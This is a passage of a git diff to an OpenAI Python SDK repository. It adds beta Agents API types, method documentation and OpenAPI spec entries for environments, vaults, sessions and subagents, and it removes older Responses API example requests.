create mode 100644 src/openai/types/beta/hosted_environment_file_id.py
create mode 100644 src/openai/types/beta/hosted_environment_file_param.py
create mode 100644 src/openai/types/beta/hosted_plugin.py
create mode 100644 src/openai/types/beta/hosted_plugin_param.py
create mode 100644 src/openai/types/beta/hosted_skill.py
create mode 100644 src/openai/types/beta/hosted_skill_param.py
create mode 100644 src/openai/types/beta/hosted_skill_reference.py
create mode 100644 src/openai/types/beta/inline_capability_source_param.py
create mode 100644 src/openai/types/beta/input_content.py
create mode 100644 src/openai/types/beta/input_content_param.py
create mode 100644 src/openai/types/beta/mcp_transport.py
create mode 100644 src/openai/types/beta/mcp_transport_param.py
create mode 100644 src/openai/types/beta/multi_agent_config.py
create mode 100644 src/openai/types/beta/multi_agent_config_param.py
create mode 100644 src/openai/types/beta/output_text.py
create mode 100644 src/openai/types/beta/persisted_agent_tool.py
create mode 100644 src/openai/types/beta/persisted_agent_tool_param.py
create mode 100644 src/openai/types/beta/persisted_mcp_transport.py
create mode 100644 src/openai/types/beta/persisted_mcp_transport_param.py
create mode 100644 src/openai/types/beta/session_error.py
create mode 100644 src/openai/types/beta/session_turn_error.py
create mode 100644 src/openai/types/beta/setup_command_param.py
create mode 100644 src/openai/types/beta/subagent.py
create mode 100644 src/openai/types/beta/summary_text.py
create mode 100644 src/openai/types/beta/text_format.py
create mode 100644 src/openai/types/beta/text_format_param.py
create mode 100644 src/openai/types/beta/token_usage.py
create mode 100644 src/openai/types/beta/web_search_action.py
create mode 100644 tests/api_resources/beta/agents/__init__.py
create mode 100644 tests/api_resources/beta/agents/environments/__init__.py
create mode 100644 tests/api_resources/beta/agents/environments/test_files.py
create mode 100644 tests/api_resources/beta/agents/environments/test_templates.py
create mode 100644 tests/api_resources/beta/agents/sessions/__init__.py
create mode 100644 tests/api_resources/beta/agents/sessions/subagents/__init__.py
create mode 100644 tests/api_resources/beta/agents/sessions/subagents/test_items.py
create mode 100644 tests/api_resources/beta/agents/sessions/subagents/test_turns.py
create mode 100644 tests/api_resources/beta/agents/sessions/subagents/turns/__init__.py
create mode 100644 tests/api_resources/beta/agents/sessions/subagents/turns/test_items.py
create mode 100644 tests/api_resources/beta/agents/sessions/test_artifacts.py
create mode 100644 tests/api_resources/beta/agents/sessions/test_events.py
create mode 100644 tests/api_resources/beta/agents/sessions/test_items.py
create mode 100644 tests/api_resources/beta/agents/sessions/test_subagents.py
create mode 100644 tests/api_resources/beta/agents/sessions/test_turns.py
create mode 100644 tests/api_resources/beta/agents/test_environments.py
create mode 100644 tests/api_resources/beta/agents/test_sessions.py
create mode 100644 tests/api_resources/beta/agents/test_vaults.py
create mode 100644 tests/api_resources/beta/agents/vaults/__init__.py
create mode 100644 tests/api_resources/beta/agents/vaults/test_credentials.py
create mode 100644 tests/api_resources/beta/test_agents.py
create mode 100644 tests/lib/streaming/agents/test_streams.py
create mode 100644 tests/lib/test_agent_session_message.py
create mode 100644 tests/test_agents_environment_token_page.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 601d1c818f..44f5655611 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: f73aef6c-1838-4b0f-afce-57a3ee03e0b7
-openapi_spec_hash: 782181534a53a11117f14e80cb3883a9
-openapi_transformed_spec_hash: 22088ed8f250e13a06d229d57bcccdb3
-config_hash: e906a9378d154c280041967c79592d12
-codegen_sha: 2b6283f96a01cfcd7d5b683966cd2f2e81955064
-codegen_hash: d45bd76c2de0e2e34ab6f92c141586b19130caf1b76a31ff2ccb210596b080bf
-public_codegen_sha: 31fe5d0cc9a4c9bf080ffb14625c31995af29f5a
+generation_id: 9ec2967e-f0f8-4420-953e-cb31261a5a8a
+openapi_spec_hash: 3bbe70558d1cb860c1efbfd901285796
+openapi_transformed_spec_hash: 2daccabc873f61eec5ef07ab28b20a1a
+config_hash: c234968a5221983d6e4315cda9d36d23
+codegen_sha: 9ec21f6ef6a3fd8be529cc946215aca0463d428b
+codegen_hash: 4dad11f5246be0417f84d976702857756cf2866bb30c3e55ea9bd4bd88b94ff7
+public_codegen_sha: aeba177b25f6675f346ee8f64e09c240762bd0fe
diff --git a/api.md b/api.md
index b983e2482e..a3f1b01052 100644
--- a/api.md
+++ b/api.md
@@ -449,6 +449,20 @@ Methods:
- client.safety.alerts.retrieve(id) -> SafetyAlert
+# Safety
+
+## Alerts
+
+Types:
+
+```python
+from openai.types.safety import SafetyAlert
+```
+
+Methods:
+
+- client.safety.alerts.retrieve(id) -> SafetyAlert
+
# [Webhooks](src/openai/resources/webhooks/api.md)
Methods:
@@ -458,6 +472,277 @@ Methods:
# Beta
+## Agents
+
+Types:
+
+```python
+from openai.types.beta import (
+ Agent,
+ AgentCloseSubagentCallItem,
+ AgentCommandExecutionItem,
+ AgentContent,
+ AgentCreateSubagentCallItem,
+ AgentDeleted,
+ AgentFunctionCallItem,
+ AgentFunctionCallOutput,
+ AgentFunctionCallOutputParam,
+ AgentFunctionCallStatus,
+ AgentInterruptSubagentCallItem,
+ AgentMcpCallItem,
+ AgentOutputCommandExecutionOutputDeltaEvent,
+ AgentOutputItem,
+ AgentOutputItemStatus,
+ AgentReasoning,
+ AgentReasoningItem,
+ AgentReasoningParam,
+ AgentResumeSubagentCallItem,
+ AgentSendSubagentInputCallItem,
+ AgentSession,
+ AgentSessionAssistantMessage,
+ AgentSessionCreatedEvent,
+ AgentSessionDeleted,
+ AgentSessionEnvironmentConnectedEvent,
+ AgentSessionEnvironmentDisconnectedEvent,
+ AgentSessionEnvironmentFailedEvent,
+ AgentSessionEnvironmentPendingEvent,
+ AgentSessionEnvironmentReadyEvent,
+ AgentSessionEnvironmentState,
+ AgentSessionErrorEvent,
+ AgentSessionEvent,
+ AgentSessionFailedEvent,
+ AgentSessionIdleEvent,
+ AgentSessionInProgressEvent,
+ AgentSessionInputMessageParam,
+ AgentSessionInputParam,
+ AgentSessionItem,
+ AgentSessionMessage,
+ AgentSessionMessageContent,
+ AgentSessionRequiresActionEvent,
+ AgentSessionSubagentActiveEvent,
+ AgentSessionSubagentClosedEvent,
+ AgentSessionSubagentCreatedEvent,
+ AgentSessionTurnCancelledEvent,
+ AgentSessionTurnCompletedEvent,
+ AgentSessionTurnContentPartAddedEvent,
+ AgentSessionTurnContentPartDoneEvent,
+ AgentSessionTurnCreatedEvent,
+ AgentSessionTurnFailedEvent,
+ AgentSessionTurnInProgressEvent,
+ AgentSessionTurnItemAddedEvent,
+ AgentSessionTurnItemDoneEvent,
+ AgentSessionTurnOutputTextDeltaEvent,
+ AgentSessionTurnOutputTextDoneEvent,
+ AgentSessionTurnReasoningSummaryPartAddedEvent,
+ AgentSessionTurnReasoningSummaryPartDoneEvent,
+ AgentSessionTurnReasoningSummaryTextDeltaEvent,
+ AgentSessionTurnReasoningSummaryTextDoneEvent,
+ AgentText,
+ AgentTextParam,
+ AgentTool,
+ AgentToolParam,
+ AgentWaitForSubagentsCallItem,
+ AgentWebSearchCallItem,
+ Environment,
+ EnvironmentParam,
+ HostedEnvironmentFile,
+ HostedEnvironmentFileID,
+ HostedEnvironmentFileParam,
+ HostedPlugin,
+ HostedPluginParam,
+ HostedSkill,
+ HostedSkillParam,
+ HostedSkillReference,
+ InlineCapabilitySourceParam,
+ InputContent,
+ InputContentParam,
+ McpTransport,
+ McpTransportParam,
+ MultiAgentConfig,
+ MultiAgentConfigParam,
+ OutputText,
+ PersistedAgentTool,
+ PersistedAgentToolParam,
+ PersistedMcpTransport,
+ PersistedMcpTransportParam,
+ SessionError,
+ SessionTurnError,
+ SetupCommandParam,
+ Subagent,
+ SummaryText,
+ TextFormat,
+ TextFormatParam,
+ TokenUsage,
+ WebSearchAction,
+)
+```
+
+Methods:
+
+- client.beta.agents.create(\*\*params) -> Agent
+- client.beta.agents.retrieve(agent_id) -> Agent
+- client.beta.agents.update(agent_id, \*\*params) -> Agent
+- client.beta.agents.list(\*\*params) -> SyncCursorPage[Agent]
+- client.beta.agents.delete(agent_id) -> AgentDeleted
+
+### Environments
+
+Types:
+
+```python
+from openai.types.beta.agents import EnvironmentInfo
+```
+
+Methods:
+
+- client.beta.agents.environments.retrieve(environment_id) -> EnvironmentInfo
+
+#### Files
+
+Types:
+
+```python
+from openai.types.beta.agents.environments import EnvironmentFile
+```
+
+Methods:
+
+- client.beta.agents.environments.files.create(environment_id, \*\*params) -> EnvironmentFile
+- client.beta.agents.environments.files.list(environment_id, \*\*params) -> SyncTokenPage[EnvironmentFile]
+
+#### Templates
+
+Types:
+
+```python
+from openai.types.beta.agents.environments import EnvironmentTemplate, EnvironmentTemplateDeleted
+```
+
+Methods:
+
+- client.beta.agents.environments.templates.create(\*\*params) -> EnvironmentTemplate
+- client.beta.agents.environments.templates.retrieve(environment_template_id) -> EnvironmentTemplate
+- client.beta.agents.environments.templates.update(environment_template_id, \*\*params) -> EnvironmentTemplate
+- client.beta.agents.environments.templates.list(\*\*params) -> SyncCursorPage[EnvironmentTemplate]
+- client.beta.agents.environments.templates.delete(environment_template_id) -> EnvironmentTemplateDeleted
+
+### Vaults
+
+Types:
+
+```python
+from openai.types.beta.agents import Vault, VaultDeleted, VaultStatus, VaultStatusFilter
+```
+
+Methods:
+
+- client.beta.agents.vaults.create(\*\*params) -> Vault
+- client.beta.agents.vaults.retrieve(vault_id) -> Vault
+- client.beta.agents.vaults.list(\*\*params) -> SyncCursorPage[Vault]
+- client.beta.agents.vaults.delete(vault_id) -> VaultDeleted
+
+#### Credentials
+
+Types:
+
+```python
+from openai.types.beta.agents.vaults import (
+ Credential,
+ CredentialAuth,
+ CredentialAuthCreateParam,
+ CredentialAuthRotateParam,
+ CredentialDeleted,
+ McpOauthTokenEndpointAuth,
+ McpOauthTokenEndpointAuthCreateParam,
+ McpOauthTokenEndpointAuthRotateParam,
+)
+```
+
+Methods:
+
+- client.beta.agents.vaults.credentials.create(vault_id, \*\*params) -> Credential
+- client.beta.agents.vaults.credentials.retrieve(credential_id, \*, vault_id) -> Credential
+- client.beta.agents.vaults.credentials.update(credential_id, \*, vault_id, \*\*params) -> Credential
+- client.beta.agents.vaults.credentials.list(vault_id, \*\*params) -> SyncCursorPage[Credential]
+- client.beta.agents.vaults.credentials.delete(credential_id, \*, vault_id) -> CredentialDeleted
+
+### Sessions
+
+Methods:
+
+- client.beta.agents.sessions.create(\*\*params) -> AgentSession
+- client.beta.agents.sessions.retrieve(session_id) -> AgentSession
+- client.beta.agents.sessions.update(session_id, \*\*params) -> AgentSession
+- client.beta.agents.sessions.list(\*\*params) -> SyncCursorPage[AgentSession]
+- client.beta.agents.sessions.delete(session_id) -> AgentSessionDeleted
+
+#### Subagents
+
+Methods:
+
+- client.beta.agents.sessions.subagents.retrieve(subagent_id, \*, session_id) -> Subagent
+- client.beta.agents.sessions.subagents.list(session_id, \*\*params) -> SyncCursorPage[Subagent]
+
+##### Items
+
+Methods:
+
+- client.beta.agents.sessions.subagents.items.list(subagent_id, \*, session_id, \*\*params) -> SyncCursorPage[AgentSessionItem]
+
+##### Turns
+
+Methods:
+
+- client.beta.agents.sessions.subagents.turns.retrieve(turn_id, \*, session_id, subagent_id) -> Turn
+- client.beta.agents.sessions.subagents.turns.list(subagent_id, \*, session_id, \*\*params) -> SyncCursorPage[Turn]
+
+###### Items
+
+Methods:
+
+- client.beta.agents.sessions.subagents.turns.items.list(turn_id, \*, session_id, subagent_id, \*\*params) -> SyncCursorPage[AgentSessionItem]
+
+#### Artifacts
+
+Types:
+
+```python
+from openai.types.beta.agents.sessions import SessionArtifact, SessionArtifactDeleted
+```
+
+Methods:
+
+- client.beta.agents.sessions.artifacts.retrieve(artifact_id, \*, session_id) -> SessionArtifact
+- client.beta.agents.sessions.artifacts.list(session_id, \*\*params) -> SyncCursorPage[SessionArtifact]
+- client.beta.agents.sessions.artifacts.delete(artifact_id, \*, session_id) -> SessionArtifactDeleted
+- client.beta.agents.sessions.artifacts.content(artifact_id, \*, session_id) -> HttpxBinaryResponseContent
+
+#### Items
+
+Methods:
+
+- client.beta.agents.sessions.items.list(session_id, \*\*params) -> SyncCursorPage[AgentSessionItem]
+
+#### Events
+
+Methods:
+
+- client.beta.agents.sessions.events.create(session_id, \*\*params) -> None
+- client.beta.agents.sessions.events.stream(session_id) -> AgentSessionEvent
+
+#### Turns
+
+Types:
+
+```python
+from openai.types.beta.agents.sessions import Turn
+```
+
+Methods:
+
+- client.beta.agents.sessions.turns.retrieve(turn_id, \*, session_id) -> Turn
+- client.beta.agents.sessions.turns.list(session_id, \*\*params) -> SyncCursorPage[Turn]
+
## Responses
Types:
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index f7e1084861..f9513d5e9d 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -8226,7 +8226,7 @@ paths:
post:
operationId: accept-live-session
summary: Accept call
- description: Accept an incoming SIP call with Live startup configuration.
+ description: Accept an incoming SIP call. Supply session with type live, the model, and startup configuration. Before accepting calls, follow the [Live prompting guide](https://developers.openai.com/api/docs/guides/live-prompting) to write frontend conversation instructions and a separate backend prompt. SIP media format is negotiated; omit audio.format.
tags:
- Live
parameters:
@@ -8291,7 +8291,7 @@ paths:
post:
operationId: hangup-live-session
summary: Hang up session
- description: Hang up a Live session.
+ description: End a SIP call identified by session_id.
tags:
- Live
parameters:
@@ -8312,7 +8312,7 @@ paths:
post:
operationId: refer-live-session
summary: Transfer call
- description: Transfer a Live SIP call to another destination.
+ description: Transfer a SIP call to another destination. Supply a nonblank target_uri for the SIP Refer-To header.
tags:
- Live
parameters:
@@ -8339,7 +8339,7 @@ paths:
post:
operationId: reject-live-session
summary: Reject call
- description: Reject an incoming SIP call.
+ description: Reject an incoming SIP call. Send a required SIP rejection status_code between 300 and 699.
tags:
- Live
parameters:
@@ -25212,347 +25212,3592 @@ paths:
"object": "list"
}
description: List ChatKit threads with optional pagination and user filters.
- /responses?beta=true:
+ /agents/environments/{environment_id}:
+ get:
+ operationId: retrieveAgentEnvironment
+ summary: Retrieve an agent environment
+ description: Retrieves an execution environment's connection status and safe installed metadata. See [environment lifecycle](https://developers.openai.com/api/docs/guides/agents-api/environments/lifecycle).
+ tags:
+ - Agents
+ parameters:
+ - name: environment_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the environment.
+ responses:
+ '200':
+ description: The requested environment.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PublicEnvironmentResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Retrieve an agent environment
+ /agents/environments/{environment_id}/files:
+ get:
+ operationId: listAgentEnvironmentFiles
+ summary: List agent environment files
+ description: Lists live files on a connected execution environment with optional directory filtering and opaque cursor pagination. See [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+ tags:
+ - Agents
+ parameters:
+ - name: environment_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the environment.
+ - name: path
+ in: query
+ required: false
+ schema:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ maxLength: 1048576
+ description: Restrict the listing to this absolute workspace directory.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type:
+ - integer
+ - 'null'
+ format: int64
+ minimum: 1
+ maximum: 100
+ description: The maximum number of files to return, between 1 and 100.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ description: Sort by case-sensitive path components. Defaults to descending.
+ - name: page
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The opaque token from the previous page. Keep the same path, order, and limit.
+ responses:
+ '200':
+ description: A page of live environment files.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/EnvironmentFileListResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: List agent environment files
post:
- operationId: beta_createResponse
+ operationId: createAgentEnvironmentFile
+ summary: Create an agent environment file
+ description: Copies inline bytes or a Files API file into a connected execution environment. See [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
tags:
- - Responses
- summary: Create a model response
- requestBody:
+ - Agents
+ parameters:
+ - name: environment_id
+ in: path
required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the environment.
+ requestBody:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaCreateResponse'
+ $ref: '#/components/schemas/HostedEnvironmentFileParam'
+ responses:
+ '201':
+ description: The created live environment file.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/EnvironmentFileResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '503':
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ x-oaiMeta:
+ name: Create an agent environment file
+ /agents/sessions/{session_id}/subagents:
+ get:
+ operationId: listAgentSessionSubagents
+ summary: List session subagents
+ description: Lists subagents in a session, including nested and closed subagents. See [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: limit
+ in: query
+ required: false
+ schema:
+ type: integer
+ format: int64
+ minimum: 1
+ maximum: 100
+ default: 20
+ description: The maximum number of resources to return, between 1 and 100. Defaults to 20.
+ - name: order
+ in: query
+ required: false
+ schema:
+ $ref: '#/components/schemas/ListOrderParam'
+ default: desc
+ description: The order in which resources are returned. Defaults to `desc`.
+ - name: after
+ in: query
+ required: false
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: Return resources after this resource ID in the selected order.
responses:
'200':
- description: OK
+ description: The requested subagents.
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaResponse'
- text/event-stream:
+ type: object
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ default: list
+ x-stainless-const: true
+ description: The object type, which is always `list`.
+ data:
+ type: array
+ items:
+ $ref: '#/components/schemas/SubagentResource'
+ minItems: 0
+ maxItems: 2000
+ description: The resources returned in this page, in the requested sort order.
+ first_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the first resource in `data`, or `null` if the page is empty.
+ last_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The ID of the last resource in `data`, or `null` if the page is empty. Pass this as `after` with the same order and filters.
+ has_more:
+ type: boolean
+ description: Whether there are more resources to retrieve after this page.
+ required:
+ - object
+ - data
+ - first_id
+ - last_id
+ - has_more
+ additionalProperties: false
+ description: A page of Agents API resources, with IDs for retrieving additional pages.
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
schema:
- $ref: '#/components/schemas/BetaResponseStreamEvent'
- '429':
- $ref: '#/components/responses/InferenceRateLimited'
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '403':
+ description: The API key lacks the required Responses permission.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '404':
+ description: The requested session or event was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '409':
+ description: The request conflicted with the current session state.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '500':
+ description: An internal error occurred.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
'503':
- $ref: '#/components/responses/InferenceServiceUnavailable'
+ description: The service is temporarily unavailable.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
x-oaiMeta:
- name: Create a model response
- group: responses
- path: create
- examples:
- - title: Text input
- request:
- curl: |
- curl https://api.openai.com/v1/responses \
- -H "Content-Type: application/json" \
- -H "Authorization: Bearer $OPENAI_API_KEY" \
- -d '{
- "model": "gpt-6-astra",
- "input": "Tell me a three sentence bedtime story about a unicorn."
- }'
- javascript: |
- import OpenAI from "openai";
-
- const openai = new OpenAI();
-
- const response = await openai.responses.create({
- model: "gpt-6-astra",
- input: "Tell me a three sentence bedtime story about a unicorn."
- });
-
- console.log(response);
- python: |
- from openai import OpenAI
-
- client = OpenAI()
-
- response = client.responses.create(
- model="gpt-6-astra",
- input="Tell me a three sentence bedtime story about a unicorn."
- )
-
- print(response)
- csharp: |
- using System;
- using OpenAI.Responses;
-
- OpenAIResponseClient client = new(
- model: "gpt-6-astra",
- apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
- );
-
- OpenAIResponse response = client.CreateResponse("Tell me a three sentence bedtime story about a unicorn.");
-
- Console.WriteLine(response.GetOutputText());
- response: |
- {
- "id": "resp_67ccd2bed1ec8190b14f964abc0542670bb6a6b452d3795b",
- "object": "response",
- "created_at": 1741476542,
- "status": "completed",
- "completed_at": 1741476543,
- "error": null,
- "incomplete_details": null,
- "instructions": null,
- "max_output_tokens": null,
- "model": "gpt-6-astra",
- "output": [
- {
- "type": "message",
- "id": "msg_67ccd2bf17f0819081ff3bb2cf6508e60bb6a6b452d3795b",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "output_text",
- "text": "In a peaceful grove beneath a silver moon, a unicorn named Lumina discovered a hidden pool that reflected the stars. As she dipped her horn into the water, the pool began to shimmer, revealing a pathway to a magical realm of endless night skies. Filled with wonder, Lumina whispered a wish for all who dream to find their own hidden magic, and as she glanced back, her hoofprints sparkled like stardust.",
- "annotations": []
- }
- ]
- }
- ],
- "parallel_tool_calls": true,
- "previous_response_id": null,
- "reasoning": {
- "effort": null,
- "summary": null
- },
- "store": true,
- "temperature": 1.0,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1.0,
- "truncation": "disabled",
- "usage": {
- "input_tokens": 36,
- "input_tokens_details": {
- "cached_tokens": 0,
- "cache_write_tokens": 0
- },
- "output_tokens": 87,
- "output_tokens_details": {
- "reasoning_tokens": 0
- },
- "total_tokens": 123
- },
- "user": null,
- "metadata": {}
- }
- - title: Image input
- request:
- curl: |
- curl https://api.openai.com/v1/responses \
- -H "Content-Type: application/json" \
- -H "Authorization: Bearer $OPENAI_API_KEY" \
- -d '{
- "model": "gpt-6-astra",
- "input": [
- {
- "role": "user",
- "content": [
- {"type": "input_text", "text": "what is in this image?"},
- {
- "type": "input_image",
- "image_url": "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"
- }
- ]
- }
- ]
- }'
- javascript: |
- import OpenAI from "openai";
-
- const openai = new OpenAI();
-
- const response = await openai.responses.create({
- model: "gpt-6-astra",
- input: [
- {
- role: "user",
- content: [
- { type: "input_text", text: "what is in this image?" },
- {
- type: "input_image",
- image_url:
- "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg",
- },
- ],
- },
- ],
- });
-
- console.log(response);
- python: |
- from openai import OpenAI
-
- client = OpenAI()
-
- response = client.responses.create(
- model="gpt-6-astra",
- input=[
- {
- "role": "user",
- "content": [
- { "type": "input_text", "text": "what is in this image?" },
- {
- "type": "input_image",
- "image_url": "https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"
- }
- ]
- }
- ]
- )
-
- print(response)
- csharp: |
- using System;
- using System.Collections.Generic;
-
- using OpenAI.Responses;
-
- OpenAIResponseClient client = new(
- model: "gpt-6-astra",
- apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
- );
-
- List inputItems =
- [
- ResponseItem.CreateUserMessageItem(
- [
- ResponseContentPart.CreateInputTextPart("What is in this image?"),
- ResponseContentPart.CreateInputImagePart(new Uri("https://upload.wikimedia.org/wikipedia/commons/thumb/d/dd/Gfp-wisconsin-madison-the-nature-boardwalk.jpg/2560px-Gfp-wisconsin-madison-the-nature-boardwalk.jpg"))
- ]
- )
- ];
-
- OpenAIResponse response = client.CreateResponse(inputItems);
-
- Console.WriteLine(response.GetOutputText());
- response: |
- {
- "id": "resp_67ccd3a9da748190baa7f1570fe91ac604becb25c45c1d41",
- "object": "response",
- "created_at": 1741476777,
- "status": "completed",
- "completed_at": 1741476778,
- "error": null,
- "incomplete_details": null,
- "instructions": null,
- "max_output_tokens": null,
- "model": "gpt-6-astra",
- "output": [
- {
- "type": "message",
- "id": "msg_67ccd3acc8d48190a77525dc6de64b4104becb25c45c1d41",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "output_text",
- "text": "The image depicts a scenic landscape with a wooden boardwalk or pathway leading through lush, green grass under a blue sky with some clouds. The setting suggests a peaceful natural area, possibly a park or nature reserve. There are trees and shrubs in the background.",
- "annotations": []
- }
- ]
- }
- ],
- "parallel_tool_calls": true,
- "previous_response_id": null,
- "reasoning": {
- "effort": null,
- "summary": null
- },
- "store": true,
- "temperature": 1.0,
- "text": {
- "format": {
- "type": "text"
- }
- },
- "tool_choice": "auto",
- "tools": [],
- "top_p": 1.0,
- "truncation": "disabled",
- "usage": {
- "input_tokens": 328,
- "input_tokens_details": {
- "cached_tokens": 0,
- "cache_write_tokens": 0
- },
- "output_tokens": 52,
- "output_tokens_details": {
- "reasoning_tokens": 0
- },
- "total_tokens": 380
- },
- "user": null,
- "metadata": {}
- }
- - title: File input
- request:
- curl: |
- curl https://api.openai.com/v1/responses \
- -H "Content-Type: application/json" \
- -H "Authorization: Bearer $OPENAI_API_KEY" \
- -d '{
- "model": "gpt-6-astra",
- "input": [
- {
- "role": "user",
- "content": [
- {"type": "input_text", "text": "what is in this file?"},
- {
- "type": "input_file",
- "file_url": "https://www.berkshirehathaway.com/letters/2024ltr.pdf",
- "detail": "auto"
- }
- ]
- }
- ]
- }'
- javascript: |
- import OpenAI from "openai";
-
- const openai = new OpenAI();
-
- const response = await openai.responses.create({
- model: "gpt-6-astra",
- input: [
- {
- role: "user",
- content: [
- { type: "input_text", text: "what is in this file?" },
- {
- type: "input_file",
- file_url: "https://www.berkshirehathaway.com/letters/2024ltr.pdf",
- detail: "auto",
- },
- ],
- },
- ],
- });
-
- console.log(response);
- python: |
- from openai import OpenAI
-
- client = OpenAI()
-
- response = client.responses.create(
- model="gpt-6-astra",
- input=[
- {
- "role": "user",
- "content": [
- { "type": "input_text", "text": "what is in this file?" },
- {
+ name: List session subagents
+ /agents/sessions/{session_id}/subagents/{subagent_id}:
+ get:
+ operationId: retrieveAgentSessionSubagent
+ summary: Retrieve a session subagent
+ description: Retrieves a subagent belonging to this session. See [subagent workflows](https://developers.openai.com/api/docs/guides/agents-api/multi-agent).
+ tags:
+ - Agents
+ parameters:
+ - name: session_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the session.
+ - name: subagent_id
+ in: path
+ required: true
+ schema:
+ type: string
+ minLength: 0
+ maxLength: 1048576
+ description: The ID of the subagent in this session.
+ responses:
+ '200':
+ description: The requested subagent.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/SubagentResource'
+ '400':
+ description: The request was invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse-2'
+ '401':
+ description: Authentication or project context was missing.
+ content:
+ application/json:
+ schema:
